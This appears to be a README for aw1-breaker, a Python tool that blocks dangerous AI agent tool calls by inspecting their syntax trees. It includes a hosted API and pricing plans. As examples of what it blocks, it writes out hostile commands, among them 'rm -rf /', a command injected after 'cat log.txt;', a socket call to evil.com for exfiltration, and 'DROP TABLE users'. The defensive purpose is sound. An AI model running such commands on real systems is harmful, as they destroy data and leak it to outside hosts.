
mvikmanners/aw1-circuit-breaker
Developer toolsDeterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
Overview
Read the independent source-level teardown: What aw1-breaker 2.0.0 checks before a tool call. aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens. Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers. Test the circuit breaker live in your terminal right now without installing anything: Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls. AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame.
README
aw1-breaker (v2.0.1)
Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker 2.0.0 checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal without installing anything:
uvx aw1-circuit-breaker --demo
Or verify an arbitrary snippet:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
📦 Installation
pip install aw1-circuit-breaker
(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).
🛡️ Enterprise Guard (Turnkey 3-Line Integration)
Drop enterprise boundary policies directly onto agent tools using the @guard.protect decorator:
from aw1 import EnterpriseGuard, SecurityViolationError
guard = EnterpriseGuard(
allowed_tools=["safe_query", "fetch_market_data"],
max_velocity_per_min=60,
max_financial_limit=250.0,
readonly_sql=True
)
@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
return db.execute(query)
# Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")
# Adversarial AST injections & SQL drops are halted deterministically
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
🔌 Model Context Protocol (MCP) Server
Run directly with Python:
python mcp_server.py
Or via uvx:
uvx mcp_server.py
MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}
⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python’s runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| Dynamic Execution | eval(compile(...)) |
Evades semantic filters | 🛑 Tripped (RESTRICTED_INVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) |
Masked as system task | 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) |
Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| SQL Destruction | DROP TABLE users; |
Prompt jailbreak bypass | 🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN) |
Run the Showcase
python examples/enterprise_guard_demo.py
⏱️ Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| AST Inspection (Benign Payload) | 0.0889 ms | 0.1298 ms | 0.1645 ms | < 0.2 ms Overhead |
| AST Inspection (Adversarial Exploit) | 0.0520 ms | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| Shell Argument Injection Guard | 0.0051 ms | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
python benchmark.py
🧩 Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
🌐 Production Cloud API & Quota Upgrades
Deploying autonomous agents in production? Route your tool dispatch loops through our hosted API gateway with sub-0.2ms deterministic AST inspection:
| Plan | Pricing (USD / BWP) | Quota & Features | Access / Checkout |
|---|---|---|---|
| Developer Sandbox | Free | 10,000 requests, HMAC token minting | Code HOL-BREAKER-2026 |
| Developer Pro | $49 / BWP 650 /mo | 100,000 audit requests, 1 license key, offline HMAC validation | Upgrade to Pro |
| Team / Startup | $199 / BWP 2,650 /mo | 1,000,000 audit requests, 5 seat keys, Redis state sync | Upgrade to Team |
| Enterprise Dedicated | $990 / BWP 13,200 /mo | Unlimited seats, dedicated gateway tenant, custom statutory lenses | Enterprise Desk |
To activate enterprise quotas, pass your signed bearer token in the Authorization header:
curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
-H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
-H "Content-Type: application/json" \
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'
License
Licensed under the Apache License, Version 2.0. See LICENSE for details.
Install
uvx aw1-circuit-breaker --demoConfiguration
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}